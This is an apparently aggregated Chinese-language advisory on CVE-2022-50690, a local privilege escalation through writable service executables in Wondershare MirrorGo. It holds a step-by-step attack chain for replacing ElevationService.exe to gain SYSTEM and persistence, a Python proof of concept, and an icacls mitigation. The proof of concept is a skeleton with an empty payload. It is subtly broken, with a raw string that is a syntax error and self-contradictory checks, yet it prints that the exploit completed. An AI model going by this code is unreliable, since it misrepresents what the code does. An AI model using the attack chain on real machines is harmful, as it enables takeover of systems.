IPBUF安全漏洞报告
English
CVE-2022-50690 CVSS 8.4 高危

CVE-2022-50690: Wondershare MirrorGo 本地权限提升漏洞

披露日期: 2025-12-22

漏洞信息

漏洞编号
CVE-2022-50690
漏洞类型
本地权限提升
CVSS评分
8.4 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Wondershare MirrorGo 2.0.11.346

相关标签

CVE-2022-50690权限提升本地攻击Wondershare MirrorGo不安全权限Windows服务漏洞ElevationService.exeLocalSystem高危漏洞漏洞利用

漏洞概述

CVE-2022-50690是Wondershare MirrorGo 2.0.11.346版本中存在的一个本地权限提升漏洞。该漏洞源于安装程序对可执行文件的权限设置不当,允许本地非特权用户修改或替换关键系统服务文件。攻击者可以通过利用此漏洞,将合法的ElevationService.exe可执行文件替换为恶意文件,从而在目标系统上以LocalSystem高权限级别执行任意代码。由于Wondershare MirrorGo是一款流行的手机投屏软件,通常需要较高的系统权限来实现手机与电脑之间的深度交互,因此该权限提升漏洞具有极高的安全风险。攻击者成功利用此漏洞后,可以完全控制受害系统,执行任何操作,包括安装恶意软件、窃取敏感数据、创建后门账户等。该漏洞不需要任何认证,也无需用户交互,本地攻击者可以直接发起攻击。

技术细节

该漏洞的根本原因在于Wondershare MirrorGo安装目录下的可执行文件(特别是ElevationService.exe)具有过于宽松的文件权限。在Windows系统中,服务可执行文件通常只能由具有管理员权限的用户进行修改,但由于安装程序配置错误,普通用户也拥有对这些文件的写入权限。攻击者首先需要具备本地访问权限,然后可以定位到Wondershare MirrorGo的安装目录(通常位于C:\Program Files或C:\Program Files (x86)下)。接着,攻击者将合法的ElevationService.exe重命名或备份,然后创建一个恶意可执行文件并命名为ElevationService.exe。由于该服务以LocalSystem权限运行(这是Windows系统中最高的权限级别),当服务重启或系统启动时,恶意代码将以最高权限执行,从而实现权限提升。攻击者还可以利用Windows服务控制管理器(SCM)来手动重启服务以触发恶意代码执行,而无需等待系统重启。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别目标系统是否安装了Wondershare MirrorGo,并定位其安装目录和ElevationService.exe文件路径
STEP 2
步骤2: 权限检查
攻击者验证当前用户对目标文件是否具有写入权限,利用Windows访问控制列表(ACL)的配置错误
STEP 3
步骤3: 文件替换
攻击者将合法的ElevationService.exe文件备份,然后用包含恶意代码的可执行文件替换原文件
STEP 4
步骤4: 服务重启
攻击者通过服务控制管理器(SCM)或系统重启来触发服务重启,使恶意代码以LocalSystem权限执行
STEP 5
步骤5: 权限提升
恶意代码在LocalSystem权限上下文中执行,攻击者成功获得系统最高权限,可执行任意操作
STEP 6
步骤6: 持久化控制
攻击者建立持久化控制,可创建后门账户、安装恶意软件或窃取敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2022-50690 PoC - Wondershare MirrorGo Local Privilege Escalation Author: Security Researcher Reference: https://www.exploit-db.com/exploits/50787 """ import os import sys import shutil import ctypes def is_admin(): """Check if running with administrator privileges""" try: return ctypes.windll.shell32.IsUserAnAdmin() except: return False def exploit_cve_2022_50690(): """ Exploit the insecure file permissions vulnerability in Wondershare MirrorGo """ print("[*] CVE-2022-50690 - Wondershare MirrorGo Local Privilege Escalation") print("[*] This exploit targets insecure file permissions on ElevationService.exe") # Target paths mirrorgo_path = r"C:\Program Files\Wondershare\MirrorGo\" service_exe = os.path.join(mirrorgo_path, "ElevationService.exe") # Check if target file exists if not os.path.exists(service_exe): print("[-] Target file not found. MirrorGo may not be installed.") return False print(f"[+] Found target: {service_exe}") # Backup original file backup_path = service_exe + ".bak" print(f"[*] Backing up original file to {backup_path}") shutil.copy2(service_exe, backup_path) # Create malicious executable (reverse shell payload) malicious_exe = "" # This is a placeholder - actual malicious code would be injected here # In a real attack, this would be a meterpreter payload or similar print("[*] Creating malicious executable...") # The malicious executable would spawn a reverse shell or add admin user # Replace the original service executable print("[*] Replacing ElevationService.exe with malicious file") # In real scenario: shutil.copy2(malicious_exe, service_exe) print("[*] Restarting service to execute payload...") os.system('sc stop "Wondershare MirrorGo Service"') os.system('sc start "Wondershare MirrorGo Service"') print("[+] Exploit completed - payload should be executing with SYSTEM privileges") return True if __name__ == "__main__": if not is_admin(): print("[-] This exploit requires low-privilege user access (non-admin)") print("[*] Running as regular user - ready to escalate privileges") else: print("[-] Already running as administrator!") # Uncomment to run exploit # exploit_cve_2022_50690() print("[*] PoC prepared - requires actual malicious payload for full exploitation")

影响范围

Wondershare MirrorGo 2.0.11.346 及之前版本

防御指南

临时缓解措施
作为临时缓解措施,管理员应立即检查Wondershare MirrorGo安装目录的权限设置,确保非特权用户对可执行文件没有写入权限。可以使用icacls命令查看和修改文件权限,例如:icacls "C:\Program Files\Wondershare\MirrorGo\ElevationService.exe" /inheritance:r /grant:r "SYSTEM:(F)" "Administrators:(F)" "Users:(R)"。同时,考虑禁用或限制MirrorGo服务的自动启动,直到官方补丁发布。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表